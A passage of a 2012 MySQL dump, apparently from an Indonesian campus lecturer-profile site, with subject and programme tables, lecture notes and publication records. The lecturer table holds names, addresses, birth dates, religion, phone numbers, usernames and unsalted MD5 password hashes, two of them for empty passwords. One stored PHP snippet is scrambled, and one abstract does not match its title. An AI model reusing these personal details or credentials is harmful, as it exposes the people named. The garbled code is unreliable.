awal menghasilkan X3 sebagai entering variabel karena<br />memiliki nilai positif yang paling besar dan A2 sebagai leaving variabel karena memiliki<br />rasio positif paling kecil.<br />Tabel simplex awal<br />Dengan menggunakan cara yang sama pada masalah maksimasi maka perlu dihitung<br />new pivot equation untuk A2, yang selanjutnya dengan memakai metode Gauss<br />Jordan hitung nilai variabel basis yang lain.<br />basis X1 X2 X3 S1 S2 A1 A2 NK Rasio<br />Z 3-6M -1+M -1+3M 0 -M 0 0 4M<br />S1 1 -2 1 1 0 0 0 11 11 : 1 = 11<br />A1 -4 1 2 0 -1 1 0 3 3 : 2 = 1.5<br />A2 -2 0 1 0 0 0 1 1 1 : 1 = 1<br />Tabel simplex iterasi pertama<br />Iterasi pertama belum menghasilkan solusi dasar layak karena A1 masih bernilai positif.<br />Iterasi berikutnya menunjukkan bahwa X2 sebagai entering varabel dan A1 sebagai<br />leaving variabel.<br />Tabel simplex iterasi kedua<br />Sekarang X2 dan X3 telah menjadi nol pada koefisien fungsi tujuan, sehingga iterasi<br />kedua merupakan solusi dasar layak, tetapi ini bukan solusi optimal karena X1 masih<br />bernilai positif yang dapat memperbaiki fungsi tujuan jika menggantikan S1 sebagai<br />basis.<br />Tabel simplex iterasi ketiga (optimal)<br />Iterasi ketiga adalah optimal karena koefisien pada persamaan Z semuanya non<br />positif, dengan X1 = 4, X2 = 1 dan X3 = 9 sedangkan Z = -2.</p>', 'Simplex', 'Metode Simplex.pdf', '', '2012-11-07 01:00:28', '2012-11-10 00:58:09', 'eni');
-- --------------------------------------------------------
--
-- Struktur dari tabel `pengajaran`
--
CREATE TABLE IF NOT EXISTS `pengajaran` (
`id_pengajaran` int(11) NOT NULL AUTO_INCREMENT,
`nama` varchar(100) NOT NULL,
`createddate` datetime NOT NULL,
`pemilik_pengajaran` varchar(100) NOT NULL,
PRIMARY KEY (`id_pengajaran`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=7 ;
--
-- Dumping data untuk tabel `pengajaran`
--
INSERT INTO `pengajaran` (`id_pengajaran`, `nama`, `createddate`, `pemilik_pengajaran`) VALUES
(1, 'Implementasi Manusia & Komputer(IMK)', '2012-11-06 01:01:30', 'gelby'),
(2, 'Perancangan Web', '2012-11-06 09:46:40', 'gelby'),
(3, 'Programan Web', '2012-11-06 09:46:48', 'gelby'),
(4, 'E-Bisnis', '2012-11-07 01:01:00', 'eni'),
(5, 'Struktur Data', '2012-11-07 01:01:04', 'eni'),
(6, 'Testing Implementasi', '2012-11-07 01:01:07', 'eni');
-- --------------------------------------------------------
--
-- Struktur dari tabel `pengajaran_admin`
--
CREATE TABLE IF NOT EXISTS `pengajaran_admin` (
`id_pengajaran` int(11) NOT NULL AUTO_INCREMENT,
`nama` varchar(100) NOT NULL,
`createddate` datetime NOT NULL,
`lastupdatedate` datetime NOT NULL,
PRIMARY KEY (`id_pengajaran`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=20 ;
--
-- Dumping data untuk tabel `pengajaran_admin`
--
INSERT INTO `pengajaran_admin` (`id_pengajaran`, `nama`, `createddate`, `lastupdatedate`) VALUES
(2, 'Implementasi Manusia & Komputer(IMK)', '2012-11-05 16:45:50', '0000-00-00 00:00:00'),
(3, 'E-Bisnis', '2012-11-05 16:46:16', '2012-11-05 16:52:15'),
(4, 'Komputer Masyarakat', '2012-11-05 16:46:29', '0000-00-00 00:00:00'),
(5, 'VB.Net', '2012-11-05 16:46:39', '0000-00-00 00:00:00'),
(6, 'Perancangan Web', '2012-11-05 16:46:52', '0000-00-00 00:00:00'),
(7, 'Programan Web', '2012-11-05 16:47:04', '0000-00-00 00:00:00'),
(8, 'Artificial Intelegent', '2012-11-05 16:47:28', '0000-00-00 00:00:00'),
(9, 'Perancangan Sistem Informasi(PPSI)', '2012-11-05 16:48:19', '0000-00-00 00:00:00'),
(10, 'Design Grafis', '2012-11-05 16:48:34', '0000-00-00 00:00:00'),
(11, '3D Max', '2012-11-05 16:48:42', '0000-00-00 00:00:00'),
(12, 'Aplikasi Server', '2012-11-05 16:48:55', '0000-00-00 00:00:00'),
(13, 'Jaringan Komputer', '2012-11-05 16:49:14', '0000-00-00 00:00:00'),
(14, 'Arsitektur Komputer', '2012-11-05 16:49:29', '0000-00-00 00:00:00'),
(15, 'Testing Implementasi', '2012-11-05 16:49:48', '0000-00-00 00:00:00'),
(16, 'Tehnik I/O', '2012-11-05 16:50:08', '0000-00-00 00:00:00'),
(17, 'Matematika Aljabar', '2012-11-05 16:50:36', '0000-00-00 00:00:00'),
(18, 'Algoritma', '2012-11-05 16:50:50', '0000-00-00 00:00:00'),
(19, 'Struktur Data', '2012-11-05 16:50:59', '0000-00-00 00:00:00');
-- --------------------------------------------------------
--
-- Struktur dari tabel `prodi`
--
CREATE TABLE IF NOT EXISTS `prodi` (
`id_prodi` int(11) NOT NULL AUTO_INCREMENT,
`nama_prodi` varchar(100) NOT NULL,
`createddate` datetime NOT NULL,
`lastupdatedate` datetime NOT NULL,
PRIMARY KEY (`id_prodi`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=18 ;
--
-- Dumping data untuk tabel `prodi`
--
INSERT INTO `prodi` (`id_prodi`, `nama_prodi`, `createddate`, `lastupdatedate`) VALUES
(1, 'Teknologi Informasi', '2012-11-05 16:36:47', '0000-00-00 00:00:00'),
(2, 'Sistem Informasi', '2012-11-05 16:37:30', '0000-00-00 00:00:00'),
(3, 'Pend. Guru SD(PGSD)', '2012-11-05 16:38:14', '0000-00-00 00:00:00'),
(4, 'Pend. Bahasa & Sastra Indo', '2012-11-05 16:38:43', '0000-00-00 00:00:00'),
(5, 'Pend. Bhs Inggris', '2012-11-05 16:40:55', '0000-00-00 00:00:00'),
(6, 'Pend. Fisika', '2012-11-05 16:41:15', '0000-00-00 00:00:00'),
(7, 'Pend. Matematika', '2012-11-05 16:41:34', '0000-00-00 00:00:00'),
(8, 'Pend. Geografi', '2012-11-05 16:41:56', '0000-00-00 00:00:00'),
(9, 'Civics Hukum/PPKn', '2012-11-05 16:42:16', '0000-00-00 00:00:00'),
(10, 'Pend. Ekonomi', '2012-11-05 16:42:33', '0000-00-00 00:00:00'),
(11, 'Bimbingan Konseling(BK)', '2012-11-05 16:42:59', '0000-00-00 00:00:00'),
(12, 'Akuntansi', '2012-11-05 16:43:19', '0000-00-00 00:00:00'),
(13, 'Manajemen', '2012-11-05 16:43:31', '0000-00-00 00:00:00'),
(14, 'Ilmu Hukum', '2012-11-05 16:44:00', '0000-00-00 00:00:00'),
(15, 'Bahasa & Sastra', '2012-11-05 16:44:22', '0000-00-00 00:00:00'),
(16, 'Sastra Jepang', '2012-11-05 16:44:35', '0000-00-00 00:00:00'),
(17, 'Perternakan', '2012-11-05 16:45:03', '0000-00-00 00:00:00');
-- --------------------------------------------------------
--
-- Struktur dari tabel `profil_dosen`
--
CREATE TABLE IF NOT EXISTS `profil_dosen` (
`id_dosen` int(11) NOT NULL AUTO_INCREMENT,
`nama` varchar(100) NOT NULL,
`nip` varchar(25) NOT NULL,
`nama_prodi` int(11) NOT NULL,
`alamat` varchar(100) NOT NULL,
`tempat` varchar(100) NOT NULL,
`tanggal` varchar(15) NOT NULL,
`agama` varchar(15) NOT NULL,
`email` varchar(100) NOT NULL,
`kelamin` char(1) NOT NULL,
`telepon` varchar(25) NOT NULL,
`hp` varchar(25) NOT NULL,
`jurusan` varchar(100) NOT NULL,
`aktif` char(1) NOT NULL,
`username` varchar(100) NOT NULL,
`kata_sandi` varchar(100) NOT NULL,
`level` char(1) NOT NULL,
`Foto` varchar(100) NOT NULL,
`createddate` datetime NOT NULL,
`lastupdatedate` datetime NOT NULL,
`lastupdateuser` int(11) NOT NULL,
`lastlogin` datetime NOT NULL,
PRIMARY KEY (`id_dosen`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=22 ;
--
-- Dumping data untuk tabel `profil_dosen`
--
INSERT INTO `profil_dosen` (`id_dosen`, `nama`, `nip`, `nama_prodi`, `alamat`, `tempat`, `tanggal`, `agama`, `email`, `kelamin`, `telepon`, `hp`, `jurusan`, `aktif`, `username`, `kata_sandi`, `level`, `Foto`, `createddate`, `lastupdatedate`, `lastupdateuser`, `lastlogin`) VALUES
(1, 'Ahmad Helwi Dinoto', '106403020005', 2, 'Wringin Anom - Asembagus - Situbndo', 'Situbondo', '28-01-1989', 'Islam', '[email protected]', 'L', '082333535333', '', 'SMA Ibrahimy 1', 'Y', 'gelby', 'e4725fe8ec58eb863beceef69656be80', '3', 'aslii orang jawa.jpg', '2012-11-07 06:27:16', '2012-11-07 10:15:52', 1, '2012-12-05 18:29:08'),
(2, 'Muhammad Ridwan', '111111111111', 3, 'Malang', 'Malang', '01-05-1985', 'Islam', '[email protected]', 'L', '082222222222', '', 'SMAN 3 Tumpang', 'Y', 'ridwan', 'd584c96e6c1ba3ca448426f66e552e8e', '3', 'MOCHAMAD RIDWAN_NPM_090401140054.jpg', '2012-11-07 06:29:05', '0000-00-00 00:00:00', 0, '2012-11-16 00:02:14'),
(3, 'Eni Hariati', '333333333333', 13, 'Malang', 'Malang', '01-08-1989', 'Islam', '[email protected]', 'P', '083333333333', '', 'SMAN Malang', 'Y', 'eni', 'e3d96c321f2a71cb81cd7d5f05f1a8d7', '3', 'ENIK HARIATI.jpg', '2012-11-07 06:30:20', '0000-00-00 00:00:00', 0, '2012-11-15 23:56:53'),
(4, 'Eko Suryo', '101101101101', 14, 'Lumajang', 'Lumajang', '05-12-1991', 'Hindu', '[email protected]', 'L', '000000000000', '', 'SMAN 1 Lumajang', 'Y', 'yudi', 'e5ea9b6d71086dfef3a15f726abcc5bf', '3', 'eko.jpg', '2012-11-17 19:40:01', '2012-11-17 19:42:02', 0, '0000-00-00 00:00:00'),
(5, 'Kuncoro Dwi Jatmiko', '212121212121', 7, 'Trenggalek', 'Trenggalek', '01-11-1991', 'Kristen', '[email protected]', 'L', '081081081081', '', 'SMK Trenggalek', 'Y', 'kuncoro', '7cca2cd65203b75eb885aafd7579d22e', '3', 'kuncoro d.jpg', '2012-11-17 19:44:44', '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00'),
(6, 'dedi', '123456789121', 11, 'Lumajang', 'Lumajang', '03-11-1993', 'Islam', '[email protected]', 'L', '091091091091', '', 'SMA N Lumajang', 'Y', 'dedi', 'c5897fbcc14ddcf30dca31b2735c3d7e', '3', 'dedy.a poto.jpg', '2012-11-17 19:46:55', '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00'),
(7, 'Ambar', '658568568568', 4, 'Pandaan', 'Pandaan', '01-03-1993', 'Islam', '[email protected]', 'P', '071071071071', '', 'SMAN Pandaan', 'Y', 'ambar', 'd51a22ed45c4da9bd0dc10044da8cf60', '3', 'CIMG5119.JPG', '2012-11-17 19:49:25', '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00'),
(8, 'Ayu Martha', '101010101010', 5, 'Lampung', 'Lampung', '01-01-1989', 'Kristen', '[email protected]', 'P', '021021021021', '', 'SMAN Lampung', 'Y', 'martha', '3003051f6d158f6687b8a820c46bfa80', '3', 'martha.jpg', '2012-11-17 19:51:59', '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00'),
(9, 'Muhammad Herdik Setiawan', '111222333444', 14, 'Lumajang', 'Lumajang', '02-11-1993', 'Islam', '[email protected]', 'L', '555666777888999', '', 'MAN Lumajang', 'Y', 'herdik', 'd41d8cd98f00b204e9800998ecf8427e', '3', 'MOHAMMAD HERDIK SETIAWAN.jpg', '2012-11-17 19:56:12', '2012-11-17 19:57:28', 0, '0000-00-00 00:00:00'),
(10, 'Matheus Bapan Lewotapo', '123123123123', 1, 'Nusa Tenggara Timur', 'Nusa Tenggara Timur', '31-05-1990', 'Katolik', '[email protected]', 'L', '0123456789098', '', 'SMAN NTT', 'Y', 'matheus', '45339359513f09155110f63f7ca91c3e', '3', 'SMP.jpg', '2012-11-17 20:00:55', '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00'),
(11, 'april ', '098765432109', 4, 'probolinggo', 'probolinggo', '25-01-1993', 'Islam', '[email protected]', 'P', '090090090090', '', 'SMAN Probolinggo', 'Y', 'april', 'd41d8cd98f00b204e9800998ecf8427e', '3', 'CIMG5120.JPG', '2012-11-17 20:03:34', '2012-11-18 14:42:55', 0, '0000-00-00 00:00:00'),
(12, 'ayu', '1234554321', 11, 'malang', 'malang', '05-11-1991', 'Islam', '[email protected]', 'P', '098767890', '', 'malang', 'Y', 'ayu', '29c65f781a1068a41f735e1b092546de', '3', 'ayu.jpg', '2012-11-17 20:06:38', '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00'),
(13, 'anggita Sayushi', '123455432112', 8, 'bondowoso', 'bondowoso', '05-11-1991', 'Islam', '[email protected]', 'P', '456654456654', '', 'SMAN Bondowoso', 'Y', 'anggi', '4a283e1f5eb8628c8631718fe87f5917', '3', 'ANGGITA SAYUSHI.jpg', '2012-11-17 20:08:50', '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00'),
(14, 'milka', '12143141', 5, 'Malang', 'Malang', '07-01-1993', 'Kristen', '[email protected]', 'P', '091091091091', '', 'Malang', 'Y', 'milka', '85304e67de348d25787325d9dd74db9f', '3', 'MILKA DWI KUSUMAWATI.jpg', '2012-11-17 20:15:52', '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00'),
(15, 'Hudi Frenkian', '10203040505', 6, 'Tumpang - Malang', 'Malang', '11-07-1991', 'Islam', '[email protected]', 'L', '084444444444', '', 'SMAN Malang', 'Y', 'hudi', '796eebeb05e21d71c5d868bb7bea59bc', '3', 'HUDI FRENKIYAN.jpg', '2012-11-18 11:27:34', '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00'),
(16, 'reginaldis ivon', '123321123321', 7, 'Nusa Tenggara Timur', 'Nusa Tenggara Timur', '03-04-1991', 'Kristen', '[email protected]', 'P', '091091091091', '', 'SMAN NTT', 'Y', 'ivon', '21a90576cdd229da90f01f255dd229a8', '3', 'REGINALDIS IVONI.jpg', '2012-11-18 11:33:38', '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00'),
(17, 'riska', '543345765567', 10, 'Mojokerto', 'Mojokerto', '01-01-1991', 'Islam', '[email protected]', 'P', '087897897897', '', 'SMAN 1 Mojokerto', 'Y', 'riska', 'fb059ad1c514876b15b3ec40df1acdac', '3', 'RISKA LESTARI.jpg', '2012-11-18 11:39:29', '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00'),
(18, 'Samsus Salimah', '89712345678', 5, 'probolinggo', 'probolinggo', '09-05-1991', 'Islam', '[email protected]', 'P', '084444444444', '', 'SMAN Probolinggo', 'Y', 'ima', '92bfd5bc53a4bdbd7b8c9f8bc660cc14', '3', 'samsus.JPG', '2012-11-18 11:41:06', '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00'),
(19, 'Verawati Huri Hawu', '765890987345', 7, 'Nusa Tenggara Timur', 'Nusa Tenggara Timur', '01-06-1991', 'Kristen', '[email protected]', 'P', '081111111111', '', 'SMAN NTT', 'Y', 'vera', '4341dfaa7259082022147afd371b69c3', '3', 'VERAWATI HURI HAWU.jpg', '2012-11-18 11:43:29', '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00'),
(20, 'Sulistiana Astutik', '64848787465353', 10, 'Jombang', 'Jombang', '01-03-1991', 'Islam', '[email protected]', 'P', '081081081081', '', 'SMAN Jombang', 'Y', 'lia', '8d84dd7c18bdcb39fbb17ceeea1218cd', '3', 'SULIANA ASTUTIK.jpg', '2012-11-18 12:11:27', '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00'),
(21, 'Ahmad Mawardi', '678543987', 17, 'Sumenep', 'Sumenep', '01-05-1992', 'Islam', '[email protected]', 'L', '087897897897', '', 'SMAN 1 Sumenep', 'Y', 'wardi', '59ad8026e0164e0ae2312299612f1ac7', '3', 'CIMG7467.JPG', '2012-11-18 14:48:57', '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00');
-- --------------------------------------------------------
--
-- Struktur dari tabel `publikasi`
--
CREATE TABLE IF NOT EXISTS `publikasi` (
`id_publikasi` int(11) NOT NULL AUTO_INCREMENT,
`judul` varchar(250) NOT NULL,
`pengarang` varchar(100) NOT NULL,
`tanggal` varchar(15) NOT NULL,
`dipublikasi` varchar(100) NOT NULL,
`jenis_jurnal` varchar(100) NOT NULL,
`link` varchar(100) NOT NULL,
`bidang_penelitian` varchar(100) NOT NULL,
`abstrak` text NOT NULL,
`file` varchar(100) NOT NULL,
`createddate` datetime NOT NULL,
`lastupdatedate` datetime NOT NULL,
`pemilik_publikasi` varchar(100) NOT NULL,
PRIMARY KEY (`id_publikasi`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=5 ;
--
-- Dumping data untuk tabel `publikasi`
--
INSERT INTO `publikasi` (`id_publikasi`, `judul`, `pengarang`, `tanggal`, `dipublikasi`, `jenis_jurnal`, `link`, `bidang_penelitian`, `abstrak`, `file`, `createddate`, `lastupdatedate`, `pemilik_publikasi`) VALUES
(1, 'Konversi Tanggal ke Indonesia', 'Ahmad Helwi dinoto', '09-11-2012', 'Malang', 'Internasional', 'http://link.com', '', '<p>Nah sekarang kita akan coba bermain dengan fungsi date() pada PHP, sekedar info fungsi date() ini nilainya di ambil dari tanggal yang ada dalam web server. Berbeda dengan fungsi date() pada javascript tanggalnya di ambil dari computer client :p<br />OK…. Lewat fungsi date() kita akan mengubah ke dalam bahasa Indonesia… karena defaultnya adalah bahasa inggris… silahkan perhatikan script di bawah<br /><?php<br />$engDate=date("l F d, Y H:i:s A");<br />echo "switch (date("w")) {<br />English Date : ". $engDate ."<p>";<br />case "0" : $hari="Minggu";break;<br />case "1" : $hari="Senin";break;<br />case "2" : $hari="Selasabreak;<br />"; case "3" : $hari="Rabu";break;<br />case "4" : $hari="Kamis";break;<br />case "5" : $hari="Jumat";break;<br />case "6" : $hari="Sabtu";break;<br />} switch (date("m")) {<br />case "1" : $bulan="Januari";break;<br />case "2" : $bulan="Februari";break;<br />case "3" : $bulan="Maret";break;<br />case "4" : $bulan="April";break;<br />case "5" : $bulan="Mei";break;<br />case "6" : $bulan="Juni";break;<br />case "7" : $bulan="Juli";break;<br />case "8" : $bulan="Agustus";break;<br />case "9" : $bulan="Septemberbreak;<br />"; case "10" : $bulan="Oktober";break;<br />case "11" : $bulan="November";break;<br />case "12" : $bulan="Desember";break;<br />}<br />$indDate="$hari ". date("d") ." $bulan". date(" Y H:i:s A");<br />ec?><br />ho "Tanggal Indonesia : ". $indDate ."<br>";</p>', 'kalengkian-tanggal.pdf', '2012-11-06 10:08:38', '2012-11-09 20:51:27', 'gelby'),
(2, 'Konversi Tanggal Ke Hijriah Menggunakan PHP', 'Eni Hariati', '10-11-2012', 'Malang', 'Internasional', 'http://ilmu-komputer.com', 'PHP', '<p>Akhir-akhir ini usaha jasa laundry banyak sekali di temui di setiap sudut kota bahkan sampai masuk ke desa, banyaknya jasa laundry sekarang inidi karenakan keinginan manusianya mencari yang instant dan cepat. jasa yang ditawarkan sangat beragam, Ada yang menggunakan sistem paket atau menggunakan jasa antar jemput barang. Ada juga dengan penghitungan per kg, sehingga biaya menjadi lebih murah atau konsumen juga bisa memilih jasa laundry yang di hitung per item tapi dengan biaya yang lebih mahal. Berbagai penawaran menarik di berikan oleh jasa usaha laundry untuk menarik konsumen.</p>\r\n<p> Kebanyakan jasa usaha laundry adalah usaha rumahan, sehingga pengelolaannya dilakukan secara manual dan sederhana, yang artinya setiap ada konsumen datang di bagian penerimaan barang harus membuatkan nota penyerahan dengan manual atau dengan kata lain masih ditulis tangan. Hal ini tentunya tidak praktis, karena memakan banyak waktu serta membutuhkan keteliatian.</p>\r\n<p> Sehingga dari permasalahan diatas dibuatlah sebuah aplikasi sistem informasi pada jasa usaha laundry. Hal ini yang diterapkan laundry duta binangkit, dengan paket kiloan yang tadinya sistem manual yang keakuratannya kurang sekarang beralihke sistem komputerisasi yang keakuratannya bisa diandalkan. Karena sistem manual di dalam pencatatan data harus sangat hati – hati karena jika terjadi kekeliruan maka akan mengakibatkan kerugian dan kepercayaan pelanggan akan hilang.</p>\r\n<p> Dimana pada aplikasi sistem informasi tersebut yang mencakup tentang penyerahan cucian, pengambilan cucian, lama pengerjaan, akan di tata dengan menggunakan aplikasi database yakni <em>Microsoft SQL server 2005 </em>serta menggunakan aplikasi antarmuka <em>Microsoft Visual Basic 2005 </em>dan penggunaan <em>Crystal report </em>untuk tampilan laporan yang akan menghasilkan sebuah tampilan yang menarik.</p>\r\n<p><strong> </strong></p>\r\n<p><strong> </strong></p>\r\n<p><strong> </strong></p>\r\n<p><strong> </strong></p>\r\n<p><strong>1.2. </strong><strong>Rumusan Masalah </strong></p>\r\n<p>Rumusan masalah yang di temukan pada saat penelitian sebagian besar merupakan pada sistem pencatatan faktur yang sedang berjalan menggunakan cara manual dalam pencatatan. Diantaranya sebagai berikut :</p>\r\n<ol>\r\n<li>Apakah transaksi yang ada sudah dapat disajikan secara cepat, tepat ?</li>\r\n<li>Apakah catatan data–data yang masuk sudah terjamin dari segi keamanan?</li>\r\n<li>Apakah laporan yang dihasilkan sudah maksimal?</li>\r\n<li>Apakah proses dalam pencacatan data transaksi sudah efisien?</li>\r\n</ol>\r\n<p> </p>\r\n<p><strong>1.3. </strong><strong> </strong><strong>Batasan Masalah</strong></p>\r\n<p><strong> </strong><strong> </strong>Dalam hal ini penulis membatasi pembahasan yang akan dibahas agar tidak menyimpang dari tujuan atau persoalan, masaalah yang akan di bahas mencakupi: data transaksi, data harga, data member, data pewangi, hasil transaksi, hasil harga, hasil <em>member</em> (pelanggan) dan hasil pewangi.</p>\r\n<p> </p>\r\n<p><strong>1.4. </strong><strong>Tujuan Penelitian</strong></p>\r\n<p>Sehubungan dengan latar belakang yang telah di jelaskan di atas, maka yang menjadi tujuan penelitian adalah :</p>\r\n<ol>\r\n<li>untuk mengetahui sistem yang sedang berjalan pada simply fresh.</li>\r\n<li>untuk mengetahui kelemahan dan kekurangan sistem yang sedang berjalan.</li>\r\n<li>Merancang sistem komputerisasi dengan bahasa pemograman Microsoft Visual 2005 guna mengatasi kelemahan dan kekurangan yang ada.</li>\r\n</ol>\r\n<p> </p>\r\n<p> </p>\r\n<p> </p>\r\n<p><strong>1.5. </strong><strong> Manfaat Penelitian</strong></p>\r\n<p>Dengan adanya sistem komputerisasi untuk transaksi dan penginputan lainnya, penulis mengharapkan semoga kerja keras penulis selama pembuatan sistem ini dapat menghasilkan banyak manfaat dan menghasilkan sistem yang lebih baik dari sebelumnya.</p>\r\n<p> Adapun manfaat-manfaat yang penulis maksud di atas adalah :</p>\r\n<ol>\r\n<li>Untuk menambah wawasan penulis dalam perkembangan sebuah sistem.<ol>\r\n<li>Untuk Mehemat biaya, waktu, tenaga dalam bekerja.</li>\r\n<li>Untuk merubah dari sistem manual menjadi sistem komputerisasi.</li>\r\n<li>Agar tidak terjadi pengantrian panjang dalam melaksanakan transaksi<em>.</em></li>\r\n<li>Untuk mempermudah kasir dalam bekerja.</li>\r\n<li>Untuk mengurangi nilai kecurungan dalam perusahan tersebut.</li>\r\n<li>Untuk memperoleh laporan yang cepat dan akurat.</li>\r\n</ol></li>\r\n</ol>\r\n<p align="center"><strong> </strong></p>\r\n<p align="center"><strong> </strong></p>\r\n<p align="center"><strong> </strong></p>\r\n<p align="center"><strong> </strong></p>\r\n<p align="center"><strong> </strong></p>\r\n<p align="center"><strong> </strong></p>\r\n<p align="center"><strong> </strong></p>\r\n<p align="center"><strong> </strong></p>\r\n<p align="center"><strong> </strong></p>\r\n<p align="center"><strong> </strong></p>\r\n<p align="center"><strong> </strong></p>\r\n<p align="center"><strong> </strong></p>\r\n<p><strong> </strong></p>\r\n<p align="center"><strong>BAB 2</strong></p>\r\n<p align="center"><strong>PEMBAHASAN</strong></p>\r\n<p><strong> </strong></p>\r\n<p>Menu pada aplikasi laundry :</p>\r\n<p><strong>1. Form Splash</strong></p>\r\n<p>Form login sebagai gerbang sebelum masuk ke menu utama. Form ini bertugas untuk membatasi siapa saja yang diperbolehkan mengakses data dengan fasilitas-fasilitas yang sudah disediakan di dalam aplikasi.</p>\r\n<p><strong> 2. Form login</strong></p>\r\n<p>Form utama merupakan ruang lingkup kerja seorang <em>user. </em>Pada form ini terdapat fasilitas-fasilitas untuk mengelola data <em>resources. </em>Hanya <em>user </em>yang login dengan status Admin saja yang memiliki hak akses pada menu master, report dan menu file untuk log off dan exit.</p>\r\n<p><strong> 3. Form Menu Utama</strong></p>\r\n<p>Form utama merupakan ruang lingkup kerja seorang <em>user. </em>Pada form ini terdapat fasilitas-fasilitas untuk mengelola data <em>resources. </em>Hanya <em>user </em>yang login dengan status Admin saja yang memiliki hak akses pada menu master, report dan menu file untuk log off dan exit. Jika <em>user </em>melakukan log off maka <em>user </em>dapat melakukan login ulang sesuai dengan <em>user </em>ID yang berbeda.</p>\r\n<p><strong> 4. Form Data Pelanggan</strong></p>\r\n<p>Form Data Pelanggan merupakan turunan dari menu Master, form ini dugunakan untuk melakukan penambahan(<em>Add</em>), pengubahan(<em>edit</em>), penghapusan data pelanggan.</p>\r\n<p><strong> 5. Form jenis pakaian</strong></p>\r\n<p>Form Jenis Pakaian merupakn turunan dari Menu Master, form ini digunakan untuk melihat jenis pakaian dan mencari jenis-jenis pakaian.</p>\r\n<p><strong> 6. Form Data Karyawan</strong></p>\r\n<p>Form Data Karyawan merupakan turunan dari menu Master, form ini dugunakan untuk melakukan penambahan(<em>Add</em>), pengubahan(<em>edit</em>), penghapusan data-data karyawan.</p>\r\n<p><strong> 7. Form transaksi</strong></p>\r\n<p>Form Transaksi digunakan untuk menginputkan data-data tansaksi.</p>\r\n<p> </p>\r\n<p> </p>\r\n<p>Berikut detail harga yang kami tawarkan:</p>\r\n<table style="width: 543px;" border="0" cellspacing="0" cellpadding="0">\r\n<tbody>\r\n<tr>\r\n<td colspan="4" width="543">\r\n<p> <strong>Laundry </strong><strong>Kiloan</strong></p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Baju Muslim selutut </p>\r\n</td>\r\n<td>\r\n<p> Rp. 9.000 </p>\r\n</td>\r\n<td>\r\n<p>Stelan Mukena </p>\r\n</td>\r\n<td>\r\n<p> Rp. 8.500 </p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Baju Muslim Satu stel </p>\r\n</td>\r\n<td>\r\n<p> Rp. 11.000 </p>\r\n</td>\r\n<td>\r\n<p>Selendang </p>\r\n</td>\r\n<td>\r\n<p> Rp. 5.000 </p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Safari </p>\r\n</td>\r\n<td>\r\n<p> Rp. 7.000 </p>\r\n</td>\r\n<td>\r\n<p>Swaeter </p>\r\n</td>\r\n<td>\r\n<p> Rp. 6.000 </p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Safari satu stel </p>\r\n</td>\r\n<td>\r\n<p> Rp. 10.000 </p>\r\n</td>\r\n<td>\r\n<p>BedCover :</p>\r\n</td>\r\n<td>\r\n<p> </p>\r\n</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<p> </p>\r\n<table style="width: 543px;" border="0" cellspacing="0" cellpadding="0">\r\n<tbody>\r\n<tr>\r\n<td>\r\n<p>Blazer </p>\r\n</td>\r\n<td>\r\n<p> Rp. 7.000 </p>\r\n</td>\r\n<td>\r\n<p> > Single / Kecil</p>\r\n</td>\r\n<td>\r\n<p> Rp. 10.000 </p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Blazer satu stel </p>\r\n</td>\r\n<td>\r\n<p> Rp. 10.000 </p>\r\n</td>\r\n<td>\r\n<p>> Double / Besar</p>\r\n</td>\r\n<td>\r\n<p> Rp. 15.000 </p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Blus </p>\r\n</td>\r\n<td>\r\n<p> Rp. 7.000 </p>\r\n</td>\r\n<td>\r\n<p>Boneka :</p>\r\n</td>\r\n<td>\r\n<p> </p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Celana Pendek </p>\r\n</td>\r\n<td>\r\n<p> Rp. 5.500 </p>\r\n</td>\r\n<td>\r\n<p>> Mini</p>\r\n</td>\r\n<td>\r\n<p> Rp. 3.000 </p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Celana Panjang </p>\r\n</td>\r\n<td>\r\n<p> Rp. 6.000 </p>\r\n</td>\r\n<td>\r\n<p>> Kecil</p>\r\n</td>\r\n<td>\r\n<p> Rp. 5.500 </p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Celana Jeans </p>\r\n</td>\r\n<td>\r\n<p> Rp. 7.000 </p>\r\n</td>\r\n<td>\r\n<p>> Sedang</p>\r\n</td>\r\n<td>\r\n<p> Rp. 7.500 </p>\r\n</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<p> </p>\r\n<p> </p>\r\n<p> </p>\r\n<p> </p>\r\n<p> </p>\r\n<p> </p>\r\n<p> </p>\r\n<p> </p>\r\n<p> </p>\r\n<p> </p>\r\n<p> </p>\r\n<p> </p>\r\n<p> </p>\r\n<p> </p>\r\n<p> </p>\r\n<p> </p>\r\n<p align="center"><strong> </strong></p>\r\n<p align="center"><strong>BAB 3</strong></p>\r\n<p align="center"><strong>PENUTUP</strong></p>\r\n<p><strong>KESIMPULAN</strong></p>\r\n<p>Berdasarkan penelitian dan perancangan yang dikerjakan dan mengacu pada rumusan masalah yang ada yaitu bagaimana suatu perusahaan 